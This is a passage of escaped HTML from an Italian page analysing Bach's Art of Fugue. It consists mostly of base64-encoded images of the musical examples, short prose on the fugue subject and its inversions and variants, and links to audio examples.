eLd731++\/bb9MbepKzHdGY4AAAkGj99rd+I377\/XpDZ\/LxYH0OAADPtH4HrNX57lSrU3OkVgcAgGdavwM++0OM0XmWq+x2zv4lt64ZAQAg3fodsFbnqL7V6TIUAADcz\/odsL340ccf7HT8ZR4AALil9Ttge\/FfFbqdU+VSXgAAnmn9DvjjXvzXb30dnD2g+eAuHzw1+PGLFwcBAIDbW78Dbmt1fnz23TH1B7z71MdW6tRczvoxYMP4Wh0AAJ5p\/Q64phVp\/nj5gLZvlYP1bS1+9FoNI2t1AAB4pvU74Cv9Rs0xH8cvf6p7j3TW17+aP94rDwAAbGH9DvirQs3Hzx5wvUea0+pcHFOrAwDAM63fAV9sGx7V6jQMq9UBAOCZ1u+Aa1qOix\/v3up8\/EjH1uLroO3jvfIAAMAW1u+Ab9DqfD+yb2vx68ht3VeXPAAAsIv1O+BVrc7Hz9Z0CMdjRrQ6VwbX6gAA8Ezrd8AX9+KDWp3mYTu2Fl3G1+oAAPBM63fAC1udd98d1D6d8nH8ylNodQAAeKb1O+C1rc7r3+ahJkxD73RWfeDKobQ6AAA8zfod8NpWp+HUo1udmo9rdQAAoGz9Dnhhq9N23oRWp\/5EWh0AAJ5p\/Q54aKvz9U2v837sna5P51SM8vFaHQAAnmn9DrjXj0F+jPD3K18HPz710bvT\/XrG41nOzqLvR7Q6AAA80+IdcLmpaBuk3NJ8\/FRhqPJnr8yo4VMfQzaHAQCAG1iz\/T3bWpwd8\/j1thiFSIXvnppFQxE+5jw7FwAAuJ9H73or9\/3aAwAA2M5zd\/CnGhitDgAA7OW5O3itDgAA3NhDd\/Bnf51mdB4AAKCvh27iT\/2OvlYHAAC289BNfOU\/SuYfJAAAgE09eh\/vH2UGAIC7spsv\/f9AAQCATdnTAwAAN6TVAQAAbkirAwAA3JBWBwAAuCGtDgAAcENaHQAA4Ia0OgAAwA1pdQAAgBvS6gAAADek1QEAAG5IqwMAANyQVgcAALih\/wG5zBc9p3TQBAAAAABJRU5ErkJggg==\" width=\"404\" height=\"83\" \/><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-2.mp3\">Bach 2<\/a><\/p>\n<p style=\"text-align: justify;\">Dal punto di vista strutturale <i>L\u2019Arte della fuga <\/i>si presenta come una serie di Fughe e di Canoni. La maggior parte delle Fughe sono a quattro voci, ma ce ne sono anche a tre voci. [N.B.: per non appesantire la lettura, negli esempi musicali, dove non strettamente necessario per la comprensione del procedimento contrappuntistico, sono stati omessi i righi della partitura completamente vuoti. Per la numerazione dei brani ci si \u00e8 attenuti all\u2019edizione curata da C. Czerny].<\/p>\n<p style=\"text-align: justify;\">Tutta la composizione \u00e8 in REminore ed \u00e8 basata su un Soggetto principale variamente trattato: si presenta spesso anche rovesciato, cio\u00e8 con l\u2019inversione degli intervalli, o con valori raddoppiati o dimezzati, o anche con fioriture; spesso queste varianti sono combinate.<\/p>\n<p style=\"text-align: justify;\"><i>Soggetto dell\u2019Arte della fuga<\/i><\/p>\n<p style=\"text-align: justify;\"><i><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAA4MAAAC4CAIAAADWoK5eAAATTklEQVR4nO3d3ZbjuA1F4Xr\/l3YuOvFyLIsCfwAckPu7nLIpEISkM5Xuyd8LAAAAyPCXXQAAAAAORRIFAABADpIoAAAAcpBEAQAAkIMkCgAAgBwkUQAAAOQgiQIAACAHSRQAAAA5SKIAAADIQRIFAABAjmVJ9O9\/Vi0IAACAvc0Gx7+LJWUBAABge2uCI0kUAAAAvRYn0SWrAQAA4AQkUQAAAOQgiQIAACDHguzIHxIFAADAgJVJdH4pAAAAnIMkCgAAgBwkUQAAAORY9l+2X1INAAAAzkESBQAAQA6S6Lfr\/3+pXXbti522XwAAEGwqTOydSOyRa+8+vC6RNLscAACwCZJoi32De\/fhdcBZAwCAeCTRFpLo2\/ZnDQAA4pFEW7o2uHEfXgecNQAAiDceLE6IJiTRtxOOGwAABCOJtpywRyNaAQAAliOJtpywRyNaAQAAlhsMFofkksdt\/vzR30XvB4Y\/vOSL7dVmFgEAAPhEEm0ZS6Jf3737jP0Dd996TLpde2k75MQBAECkkWCx8Ddt4ixJcfjr7Q+M\/ahd2MyRnXDcAAAgWEew+PnbuL0DykwctHzmcf32t5ZH2Ia9DxoAAKQgWLS0w7dfEp2PsCRRAACgj2DRMpnqSKIAAAANBIsWSyKc\/PryJPr4FZIoAAAQQbBo2SCJfn6SJAoAAKQQLFqykujjdy2h8PoZkigAAJBCsGiZjF9OSdTvV60NJFEAALAcwaIlMYne\/dTv96xtJFEAALAcwaIlN4l+fuDT8BVJogAAQArBokXhd6ILr0gSBQAAUmoEi6wAlJhEx65LEgUAAIUUCBaJGcg1if59WHXdx2hLEgUAADrUg8Xf\/8u6+toV3v\/k7+LrW4\/uLvfziterTG4EAABghnSweAxekVdfskg7cT5+q7FU+7uTO1rSCgAAgC\/SqcISvGIuOlnA3dcbCz6W0Sip8dOuXXi0AgAA4E03TByefoybPaonAABgM6Ih5vBfxXVt84SGAACALYmGGJIoSRQAAGxPMcQ8\/vHEvbNX1x73bgUAANibYo5p585zkqhlm3u3AgAA7E0uxzz+7nP7X4safwG8dxMAAMAJ5KIMIeyfk\/98AgAAOIRcoDGGrUPSGBkUAABsTCvW2PMWmQwAAKA6rTBHEgUAADiHVpjrTaKEUQAAgLq0kpw9X5JEAQAAqhNKcl1\/KYckCgAAUJ1QkiOJAgAAHEUoyXWFS5KoJk4EAADYCeUGkugGOBEAAGAnlBtIohvgRAAAgJ1Qbhj4Q6KEUTUcBwAAsBPKDQO\/ECWJquE4AKC6P\/AuC6TSa\/vZMyvKOBEAqC408QnLPodTqDTafvAMijJOBACqC417wrLP4RQqjTYePIMijhMBgOrisp627HM4hUqjLQfPoOjjRACguqCgJy\/7HE6h0mjLwTMo+jgRAKguKOjJyz6HU6g0+vHgGZQSOBEAqC4i5VWQfQ6nUGl0++AZlCo4EQCozj3iFZF9DqcY+e93AgAAAEazSTTGz1qHN4YUaw9F7ZSligmjdgrYhtpoSRWTy6kVRy2rNt7KhNpEEt0ASXQ\/aqeAbaiNllQxuTSzXa1l1cZbmVCbrsdGDC2HJLoftVPANtRGS6qYXJrZrtayauOtTKhNX8fWjqEcsCaS6H7UTgHbUBstqWJyaWa7WsuqjbcyoTa9j+0xgzIfskii+1E7BWxDbbSkismlme1qLas23sq02mTJoCRRZSTR\/aidArahNlpSxeTSzHa1llUbb2VabQqIoS\/mwxNJdD9qp4BtqI2WVDG5NLNdrWXVxluZUJtiYuiL+fBEEt2P2ikgkuvRq42WVDG5NLNdrWXVxluZSpuMMZQkKo4kuh+1U0AkkuiZNLNdrWXVxluZRJsiY+iL+fBEEt2P2ikgEkn0TJrZrtayauOtLL9NwTH0xXx4IonuR+0UEIkkeibNbFdrWbXxVpbcpvgY+mI+PO19UlLFhFE7BUQiiZ5JM9vVWlZtvJVltiklhr6YD08k0f2onQIikUTPpJntai2rNt7Kctpkz6AeB8l8+CGJ7kftFBCJJHomzWxXa1m18VamnkT9ru6xMkii+1E7BUQiiZ5JM9vVWlZtvJWZ2mQPjgAAAMCn2SS60JKil9Tgt74r8crXlqd2UlLFXDmVp3YKZ8o6gqMexVLF5PJ7mJyzLONtF1qZQgx96c1HF\/HKSaKJSKIbI4kGkComl2a2q7Us420XV5k9g5JEG8QrJ4kmIolujCQaQKqYXJrZrtayjLddUGX2GPryPz+1+egiXjlJNBFJdGMk0QBSxeTSzHa1lmW87SIqs2fQz8971+O3vivxykmiiUiiGyOJBpAqJpdmtqu1LONt515Zbwx9f8u7pLsK\/a67hHiFJNFEJNGNkUQDSBWTSzPb1VqW8bbLT6J33\/IuqV2b39UnKdf2IommIolujCQaQKqYXJrZrtayjLddxN8NGgh8rkf4WJXaAH2SLewfkmgikmiVOgeQRANIFZNLM9vVWpbxtnN\/yoxFvbAk2i7YqYAZmlW9kUQTkUSr1DmAJBpAqphcmtmu1rKMt11aErV83bWwxo9IosNIoolIolXqHEASDSBVTC7NbFdrWcbbLud\/ATeu4Fpb40fKYVSwpE8k0UQk0Sp1DiCJBpAqJpdmtqu1LONtl5BE7Su41tb4EUl0GEk0EUm0Sp0DSKIBpIrJpZntai3LeNs5vrpmYujL8xRJon5IoolIolXqHEASDSBVTC7NbFdrWcbbLjSJDiziV17jR7Ix9KU9TC+SaCqSaJU6B5BEA0gVk0sz29ValvG2W1\/ZXQwd6MK\/ryxPhyTRmau3T5YkmogkWqXOASTRAFLF5NLMdrWWZbztrH95CAAAABgwm0TtBiqwfH1sb42rWK4+sHKA+MKMzffom9pBSBVz5VSe2ik0VKlzQNbWXK+rNlpSxeTye5icsyzjbaeSRJ8jZ1NvkY8FdC0YKbi23m6vLU\/tLKSKuXIqT+0UGqrUOSBra67XVRstqWJy+T1MzlmW8baLSKJj3+rVVWS7gL49x4osb+wolxewcMFJUsVcOZWndgoNVeockLU11+uqjZZUMbn8HibnLMt42+Un0ZHUeaOryLsaBnceJazCsfauLU\/tRKSKuXIqT+0UGqrUOSBra67XVRstqWJy+T1MzlmW8bZbnxu64stI3myy1\/mzhqn9h4gpcqCrn19cW8aq1eZJFXPlVJ7aKTRUqXNA1tZcr6s2WlLF5PJ7mJyzLONtl5lELbHyusjjV4x1fq02uuloAaX29vPri8srWbjgJKlirvwex+Ibf6tS54CsrbleV220pIrJ5fcwOWdZxttOMYleP2P\/rqXX74+Vi6Gv2CQa8C3LmgsXnCRVzBVJtEqdA0iiAaSKyaWZ7Woty3jb+SbRrg\/ffb6xzkwSrRhDX\/7DNBlDSaKJSKJV6hxAEg0gVUyu4Va0X8p+zyjBZRlvO6Ek2v6kcRHL2XtkpjDeZU\/G0LXlqR2TVDFXfo9j8Y2\/ValzQNbWXK+rNlpSxeSafAvcvZf9nlGCyzLedipJ9PGT9os+tlttPrp4V97bnK7OexfjTaqYK7\/HsfjG36rUOSBra67XVRstqWJy2VvRDJ\/db2fvaiOXZbztyifR3uu+tM\/jkXfx9psn4BHDndzF73EsvvG3KnUOyNqa63XVRkuqmFyWVjyGzp+yqo1flvG2k0iilpVXXbc6791ZGhj5fJE6Talirg45hYYqdQ7I2prrddVGS6qYXGNvAYuUalOWZbztSKLFBOyucYnIh8uLO7mT3+NYfONvVeockLU11+uqjZZUMbl637l28dVmLct427n8wT7LzHWNZtdqyu2eF7C7aw\/jnyx3leSSKubK73EsvvG3KnUOyNoaN\/iZGq14SJpPgqtNXJbxtiOJFhOzu8RnyrUM76t8Xa6xTfHR8nsci2\/8rUqdA7K25npdbnBZjVYY3w6Rbw3NZdWenFLFfBn8uykAAACAxWwS7dJxbcNnPj+85KLV7b27LwGnabxtSoyWU3n6G3+rUueArK25XpcbPF6jIZ9NuGuF5evGngdUO2ly2bEt+5Eq5otEErU0qP2xyXEvZO\/dffE+zd5npXjz\/R7H4ht\/q1LngKytBdyA3utvc4NPus9yvy1ZxNh5p2onTS7rV9gYqWK+OL66LMdgH6P2x7wnUsf2G\/zkeqADzzLx5vs9jsU3\/lalzgFZW3O9Ljd4DHuee2zX2FJdjfVev6uSya87FTZGqpgvEU8B4yctH3u8lnKvl9h+g59cHzEDYyPefNdeeay8XJU6B2RtzfW63OABjEnO2LFV68RUO2lyWb\/CxkgV8yU\/iX5+\/vEzS65V2gl7fHM60+FHmPiM+T2OlXf9qUqdA7K25npdbnBvvXnO0rcli4RVO2NyWb\/CxkgV8yXoz+h0faXx0yVXKe2Qbf7jcayTT8m1xazl9zgW3\/hblToHZG3N9brc4K7GIp2le5NfD6522OSyfoWNkSrmS9zfW1y1musl9B2yzX88jnVsWkrMmN\/jWHzjb1XqHJC1NdfrcoO7Gsx05laMfSur2rGSJr\/uVNgYqWK+uFe2cFaui3gPoqBzdvpyuJPHpqXKmPk9jsU3\/lalzgGuW2u82gOuu3zBXW\/wLu3c9uiQaturTfYhpZMNUsV8iahs1XxfpyTrtkl02mbX7ndgwVWPvABO5elv\/K1KnQM8tub9mjcWkLtgoRu8i\/Fw4w9doVrjmpN9SOlkg1QxX+IqWzLi768n3jO5jtrv8vPtXXDyeRfMqcIle49poP4ZDfO4EYwWXvdnGYkL1rrBu3QdcXofwqqNbEVWM+9IFfMltLL5A144JUUdtevlp2xfcO0jKYZTkUu2H9PDEsc0ZtXWet\/ErgfHDe5n7KCz+hBQbXw3Evv5k1QxX5L\/7Sfyu3s4auPLD9qy4PLnURinOrs6cPfhmDZWOakBS7Y29jL26yo3uB+dU1aodmD9+Z6kd\/WLVDFf0irrOu+Fw1HdUdv3OO7Ggh4Po0hOpXY14e7DMZ0sdFi95rc2+i52PDhucFcKR6xQbdfKC9si0tg3qWK+5FfWOxPK3Qxw1PY97uTrmn5PomBO1Xb14e7DMc2sdV5dlrwUh63axc+qvNfc5gYfkHi4Azyqtazp1BzB9maXcEu0ssYRqp3uWo\/3w8Z7v3I664BnkIes2ejqxt2HY1oqeGqrLHkpDlu1i59VOS2btSlBtba\/ttqBaV\/VJbU+SxXzZfAPdwMAAAAWs0lUyuOWyjGenOU4sZlys3FXRkx5Ch0YMP8cX7L+8usCuQ6ZfONelHekW9mdWiPyqPcG2GnvaKs4G3dFfv5zvzoVOtDF\/E6ceuh1XWXVRYF020\/+NpvSraxBuaFdBgZlm72jrehs3JUa80BU6IBR7ytkpm9j1yrUTOCnjSd\/s33pVtYg3lOjsSnZYON4VHc2vqoNfiAqdMBi7C0yvLuwC5Ww9+4aTjjcL7tO\/sC+xHenW1mDeE8thudjg72jrfRs5D4Q07dvMfYKmexbzFWqOGSbnw7c8j\/7TX7XjqpsMK2ymQaJ9\/TRsRvHo9Kzkf5ATO\/Ao563xuK+JZ6LoHO2fM5O7+w0+b1PjCrbTKhsvk3iPX00Nhb6w4R5RWcj5oH4uJr+3dHbqCV9eyxgftmi9u7A3rvrtcfkpz9AnERXtqpTyj1tG5uJEsOESXVnw\/tRaFxZ\/O6wd2lh6\/Bosw4zM7va+AESWtzCfom3tWFgJgrNE2bUnQ2\/R6FxtfQOWBi7tLB7sKve7er149HGD5DCSVS8s3d6Ky80TJhUdzYe7+WxCnufD+I3iPEB2LtrLFSu8+UKxrCNHyBx9a3tWonm\/mSvvNwwYVLd2XgsZqDIscdC1yWCdT0DdQ73QLLHIVsYAmz8ACGJRrNUXnSYMKnubLxruKunt86xPSq0oqHrGShysidLP6b0AiCl\/\/lRZjAKJ9GAmp00iq8+T5hUfTbuSuoqdXiDgg35svYxiBhdpxYpuzGItut4kEQTXPe4zTxhUvXZuKvKXu3w7jQbcrXkAYhElhN0kr115NtyTkom0aK9\/sRzB3dKz8Zdbdd\/3vM8mBK19T6FSkXDsQOMXJuNCkk02WbzhIUqzsZdkdd\/3vVAmBG1deC\/mFWgS73\/ihN3LCDr7vY03rYDdzfvcgAorVgS5X0DKAtOosRQAKhOLolaVoipFkAvSxJt3ML2G7z30QEA0BT9+J7MoLxvAGXtJPp4F3c9CoihALCBhCf4wFuE9w1Qwtd9OvCvnY85lRgKADvJeYjb3yK8bIBC7sJiVxL9+sDwUgAAfbr\/F7q8aYBajHf0403NkwEAzpH\/NOc1A1Rnz6BddzdPBgDYHo91ALOWZ1AAwCF4MQCYRQwFAIzh3QBg1mP0JIkCAH7i3QBg1uPvPkmiAICfeDcAmPVOmSRRAEAX3g0AliGJAgC68G4AsAxJFADQhXcDgGVIogCALrwbACxDEgUAdOHdAGAZkigAoAvvBgDLkEQBAF14NwBYhsQJAOjCOwPAMiRRAEAX3hkAAADIQRIFAABADpIoAAAAcpBEAQAAkIMkCgAAgBwkUQAAAOQgiQIAACDHfwCpUACNy0kUxQAAAABJRU5ErkJggg==\" width=\"327\" height=\"66\" \/>\u00a0 <\/i><\/p>\n<p style=\"text-align: justify;\"><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-3.mp3\">Bach 3<\/a><\/i><\/p>\n<p style=\"text-align: justify;\"><i>Soggetto rovesciato<\/i><\/p>\n<p style=\"text-align: justify;\"><i><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAA4MAAAC4CAIAAADWoK5eAAAS2UlEQVR4nO3d23bjuA5F0fz\/T+s89DgZrtiWSBCXDXLNx45NgQQk70ol1T8XAAAAUOGnugAAAAAciiQKAACAGiRRAAAA1CCJAgAAoAZJFAAAADVIogAAAKhBEgUAAEANkigAAABqkEQBAABQgyQKAACAGiRRAAAA1CCJAgAAoAZJFAAAADXckujP\/3ktCAAAgL2tBsefNy5lAQAAYHs+wZEkCgAAgFnOSdRlNQAAAJyAJAoAAIAaJFEAAADUcMiO\/JAoAAAADDyT6PpSjbz\/owHjqmt3Nr5f27EccowAAByIJLpqPBttf1DmZOm4OAAAaIQk6mD8BLY\/qNlQPnUaTBoAAJtx+5ftXappiiT6a\/YoDEl0oToAAKCFJOpg9m+Zo+spZEii4wey99EBAHAgkqgDkuiv2aOYffFadQAAQMvSRzsx9D+cwy+SKAAAGEcSdcA5\/DL8hfvI6zleAAC2RBJ18HgOH7\/082b2BeYXu7zxfjXf1zNmAABsiSTqwJZE\/7z322vGX\/DtXY9Jd2ov91Zy8OPLbCUBAABZ9k93YuivkaRofvv9C2xfui9spbOG95rrBAAA3ZFEHazEwZHXPK5\/\/y73CHuDJAoAAMaRRB38DBh5++wL1iOsQhJ9fBdjBgDArpJ+HHBvi6mOJPpYjKESAACgjyTqYCQRLr7dPYk+viUzid68kTEDAGBjS2mDlPCfDZLo6yt1kigDBgDA3ozfLXsXV6K+qiT6+N6R1nzLf1VJ9PW9jBYAAHvjY97BYhwPSqLmZUuS6Mf3kkQBANgbH\/MOCpPot68GpdtHju8lhgIAsD0+6R3UJtHr37\/aHinGEG0HOR4FSRQAgO3xSe+gNokaLk0SBQAACvikd1CYRG3XlU2i17\/f3zUvAgAAWuDD3kFoEr1JZubrPkZbkigAAEjAh70Dx\/j1\/h+vf8PZ68ve\/\/s33y738YrvV1ncyBRiKAAA5+DzftV95rMtcp84H991s9T9exd35HIU12X8kQMAANAOn\/dGs8lvds33\/24r46akm69O7cL9KMwHCAAAeunxeU8u+WYwtJHtAACAoAbpZOW7jHubOhYOEAAAqFFPJ4t\/z7s3kigAAGhNOp2s\/8ThxmZ\/lDO6HgAAgFnSAcXl1192NXUmnBsAABCkG1C8fhF7V4Mnw6EBAABZohnlWwwlV\/1xf1CcFQAAUCaaVEhXUzglAADQkWJeefw+HzELAABgA4qR7j53kkQBAAD2IBfpHr\/3ybdFAQAA9iCX50b+Fp4kCgAAsAG5PDf4w6CEUQAAgO60wtz47ySRRAEAALrTCnMkUQAAgHNohbnZJEoYBQAA6EsryY3nS5IoAABAd0JJbvwbohdJFAAAoD+hJEcSBQAAOIpQkpsKl8cm0QO3jEXMTFM0DsBHmz0chDZDEh1x4JaxiJlpisYB+Gizh4PQZkiiIw7cMhYxM03ROAAfbfZwENqM4YdEDwyjp+0X65iZpmgcgI82ezgIbcbwDVGSKPCImWkqunEMBna1fUjYbFMqm+EbooMO3DIWMTNNkUSBj34mVdfrb7NNqWyGJDrowC1jETPTFEkUZ5oNmiTR7lQ2MzgxJ0zYvQO3jEXMTFMkUWzJPWg+qt6xv802pbKZkYk5ZMLuHbhlLGJmmopuHIOBCAnJclb1kfjbbFMqmxmZmEMm7N6BW8YiZqap6MYxGDBICI7uqs\/M32abUtnM48ScM2H3DtwyFjEzTUU3jsHAu+hQWKL6UP1ttimVzdxPzFETdu\/ALWMRM9NUdOMYjAOFBj5Z1afub7NNWf79TgAAAJymLInm+LjJ\/BMRd+yupTYuVcwjQ7VqB36m6BZ4ra82LVLF1PIOISpmD8HrJNfX8SJVzDqhzXzstOM47uHYXUttXKqYR4Zq1Q78TNEt8FpfbVqkiqnll\/1SuR+CyyLuha2QKmad0GbeO505rF2cuXG1jksV88hQrdqBnym6BV7rq02LVDG1\/MKhp5tqgw7BZZGg8mykilkntJk\/nTZP897O3Lhax6WKeWSoVu3AzxTdAq\/11aZFqphaPslx0kq1jnv3XZYhDyW0md9Oh876pTdSU\/pWvkKtZVLFPDJUq3bgZ4pugdf6atMiVUytxUz57cM36ISVl2XIQ2ltZupmWLyKV83J+la+Qq1lUsU8MlSrduBnim6B1\/pq0yJVTC1b0BxZNqha2WUZ8lBam0mIoZfeSE3pW\/kKtZZJFfOIJNoUSdRGqpha7p+ev8u6rNNoWYY8lNBmcmLopTdSU\/pWvkKtZVLFPCKJNkUStZEqppZytuu1LEMeSmUzgzF0y5Ga0rfyFWotkyrmEUm0KZKojVQxtZSzXa9lGfJQEpvJjKGX3khN6Vv5CrWWSRXziCTaFEnURqqYWsrZrteyDHmo+s0kx9BLb6Sm9K18hVrLpIp5RBJtiiRqI1VMLeVs12tZhjxU8WbyY+ilN1JT+la+Qq1lUsU8Iok2RRK1kSqmlnK267UsQx6qcjMlMfTSG6kpfStfodYyqWIekUSbIonaSBVTSznb9VqWIQ9Vs5nxDBpx3GojNaVv5SvUWiZVzCOSaFMkURupYmopZ7teyzLkodSTaNzVI1ZO0LfyFWotkyrmEUm0KZKojVQxtZSzXa9lGfJQQ5sZD44AAADYUlkS9bxe6W5fa4hbP1Sjyh1LVWuZVDGPDNWqHfiZolvgtb7atEgVUysqN5y3LEMeKnUzCjH00hupKY0qJ4mKIIk2RRK1kSqmlnK267UsQx4qbzPjGZQkeqNR5SRRESTRpkiiNlLF1FLOdr2WZchDJW1mPIZe8S1XG6kpjSoniYogiTZFErWRKqaWcrbrtSxDHipjM+MZ9PX10fXErR+qUeUkUREk0aZIojZSxdRSzna9lmXIQ4VvZjaG\/r4ruqRvFcZd14V+hb9IoiJIok2RRG2kiqmlnO16LcuQh6pPot\/eFV3SfW1xV1+kXNsfJFERrZNouzvUEUnURqqYWsrZrteyDHmojN8NMgS+0K4\/VqU2c69kC3tHEhXRNIn2vUm9RG\/Qa321XkgVUyvoKA5cliEPFf6tR9unSGjXv9XQ4nNOs6qPSKIi2iXRwYeG2lS4I4naSBVTSznb9VqWIQ9VlkRH3h5a2M2XSKIuSKIieiXR2cdFr15MIYnaSBVTSznb9VqWIQ9V8zfggyuE1nbzJeUwKljSNyRREY2SqOEG7NWLKSRRG6liailnu17LMuShCpLo+Aqhtd18iSTqgiQqoksStd19vXoxhSRqI1VMLeVs12tZhjxUVOMXY+gV2XiSaA6SqIgWSVTwQVGOJGojVUwt5WzXa1mGPFRqEjUsElfezZdkY+jVav5IoiL0k6jgU0IBSdRGqphaytmu17IMeSj\/zXyLobaPw\/cFvSq8+VJhEn08ukbzRxLNETEzyQduu+MK79Mc0VvzWl+tC1LF1Ao6igOXZchDjf4kFgAAAE5WlkQnllsrPedQvr0r4bhHrvuthvzCFjmWqrbx8mKiZybzwA3XqrpVHd10MG1rXuurdUGqmFpBR3HgsmlDPvhY2GzIVZLo4HPZvP6faz0WMLXgitntNJo\/x1KTm\/KotpiEmck88NlrVd2qXuKebIZKvNaRaoRUMbWCjuLAZXPuR52HQ7KMJGp7V1xX3l9c1WDbWSUU5sKxVLUbr7CYnJnJPPDxa63c9Qosz7XIPXotrtYLqWJqBR3FgcuGDrnakyFffRK19WClMe8vLumurf5G8+dYqtqNV1VM2sxkHvjItVbudxHTj7P4bXotrtYOqWJqBR3FgcvGDbngkyGf52YMh2XuwUpv\/ryypLXmkUquc4VjnWq7Likmc2YyD\/z+Wit3uo65p1jWTr0WV+uIVDG1go7iwGWDhlzzyZCvMomOHPT7Iuu9eX1lSVPNw9Rr\/hxLVdt4fjHJM5N54B\/3tX6b67jfy6PQwrzWkWqKVDG1go7iwGUjhlz2yZBPMYm+v2b8vSPt+X1ZVUdt1203f46lqm18+5nJPPA\/N+O9nJJ8DW4tf8tei6u1RqqYWkFHceCyEUMu+2TIF5tEp1787fU369jaU9tO23U7zp9jqWobTy4mf2YyD\/zPhWw3tayP2xkXVMDvl9bXv46\/PZUFHYXasvf3juN9tL7OnwULnwxShJLo\/SsHFxlpUm0vDZduOoKOpaptPLmY\/JnJPHCpzrr79owaFH1dxz26LOVCqphaQUchsuzghLtU6z7kcw+CmDtXh0oSfXzl+EUfm1TbyNmr950\/x2rV9p5cTP7MZB64VGfd3X6aPEi4ouMeXZZyIVVMraCjKF8251Z6v+L6On8WtHEsQ0T7JDp73av6OTU+Sd3nz7Fgte0nF5M\/M5kHLtVZd7cfKHfSruW1x\/V1vEgVUyvoKAqX3WbIbRvZdbYlkujIyl7XLTdS4R7z51iz2gkkF5M\/M5kHLtVZd\/cfKo5dM1zIq8uZ0zJCqphaQUdRtexOQ16yC1kk0QI3Fe40go5lqx1CfjHJM5N54FKdjXD\/6eLStalLOM7J69XX1\/EiVUytoKMoWXa\/IU\/egrLYkx185eCyLtdV8F7kliPoWLnaOeQXkzwzmQcu1dkg981aPO2RxeNG5eL2FBZ0FPnL7jrkOcXrI4nWSLt\/CjnWn3waj+0oaU3mzGQeePc5HxfUr8HBiBuYzGm5VG9PTUFHkb\/s3kMeVHMjxl+DAAAAwFHKkujcisNFT21scKm4k8Isx0YktHXwxjtkxjL3uP1hhrJ9lviOMbdnvsHmBh3F7LKL1Y68\/X7ldY5L4Z1EEh1p8P3LIiYPixwbEd3W2efX9jOWeR9tf5ihrJ\/Onv3l9sxU1eU\/NWRWO7tIxPbjDhNXRBK9ZiLm+Ljcvyxi8rCoy1PA8PDafswyb6XtDzNU+Sf0xe2ZpbzRr5VkVmtbynfvcYeJKyiJXgFhdHxMjRXDm2Mv4jpre3htP2aZt9L2hxmq9uP5tQb3ZS9uzxeGRof2JbNahV3HHSYuhST6+vrH17hcCzkc2xH6cDEMz\/bDlrnBvU8yQe0n9MXtGW+qxTkdT65WYctBK+OKS6KXKSA+zqLLVZDDsSMR\/TVPzgnDlrnH7Q8zQdXH8+vVI9bk9rw0fl\/nvaT8aqs2+3r1uPUPl\/cLj16rhV4Cjhw7EtFf29gcMmyZe9z+MNMkfzb\/uW7EmtyeF0l0YH3Xzd1dN+FCZwo\/WcdxeV8keRYxxbEp7i22jc0585a5x+0Pc3vcnnEGwtsd3+u+flWq2gT6FbaW94eJ9Ua+3wwtJvhYjn1x77JhwUYPzXWZe9z+MLfH7RnHFunM5zC45reVk6vNpF9ha3kn6zJtv2\/vMr4nc2yNe6NnF2z0xHSRuc0TznNv3J5x0oKdy+Jp1eZrUWRfqSe7Pna9Zvdwjg1yb\/f4gu2emC4yd3rIkW6M2zPOdKCbPwfH9ROqrdKlzqYKTnZl\/nrN7uEce+Te8ZEFmz4xXWRu9pxT3RW3Z5y5QDd\/CIb1b64SXW2hXtW2U3ayU+PYdHYP59ipiL7fLNj9obkuc79HHeyWuD1DjWa6+UOYWnnwQnHV1mpXcC\/1Jzs7tUxDF46dingKvK+5zUNzXeaWTzvb\/XB7Rhv\/fPRd03a5iGrLNS27C9GTvek6AyHi8RHj2Kagpq8\/c3eVufEzT3gn3J45fLc\/eLzmY9+sWd3rF2f8qXAAAAAcpSyJSok7CzwanM7QkcVmmBMgmWAWwcn6jRR3QpXZRxJtwgjmBEhGDIWUllPFzZDP8DyiTRjBnADJiKGQ0nKwuCWS2Z5H9AgjmBMYHDs2LqGQDAopLceLGyOT+XlEmzCCIYHNaSHJd7\/EUOjo8S\/bf3xvUGF4RY8QjTmB2TlRKWKnZFCIKP6\/fdqGnjskzUoMpUcYwZxg0cbJKWFrBFCUyx44rz+BcaskWIyh9AgjmBO42ClL7bQX4FHqiD\/G0PG7jpszwWIMpUcYwZzAkfm7GwpaFw+YNU6i3KXRZg+ZZygMGBW4W\/x8SdOlTiBU3rgPxtDBm5B7NcHsHwx4jMKAaUEcr0+cnSoB1JBE8dXIIfMwxSIGBgmmPoDyVR8PUKlxEk2oGTfnzCMVLpgZZFpLjM6qDwOQQBLFnfd28GCFL8YGhUwB0q56u4CilkmUWzoTT1iEYnigZurTikcisIgkilE8bRGBKQKAk\/X7V5wIQMBOuJ0B4GTNkijfigM2w+0MACeTS6IjK+RUCyABdzQAnEzo\/zs\/+MacOgEAABCtINjNZtCLGAoAALCjmmzHt0IBAABQmfBGfmyUDAoAALCr+pxHAAUAADgTgQ8AAAA1SKIAAACoQRIFAABADZIoAAAAapBEAQAAUIMkCgAAgBokUQAAANQgiQIAAKAGSRQAAAA1SKIAAACoQRIFAABADZIoAAAAapBEAQAAUIMkCgAAgBokUQAAANQgiQIAAKAGSRQAAAA1\/gf4vPPRJ4afnQAAAABJRU5ErkJggg==\" width=\"316\" height=\"66\" \/>\u00a0 <\/i><\/p>\n<p style=\"text-align: justify;\"><i><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-4.mp3\">Bach 4<\/a><\/i><\/p>\n<p style=\"text-align: justify;\"><i>tema fiorito rovesciato con valori raddoppiati<\/i><\/p>\n<p style=\"text-align: justify;\"><i><img loading=\"lazy\" decoding=\"async\" alt=\"\" 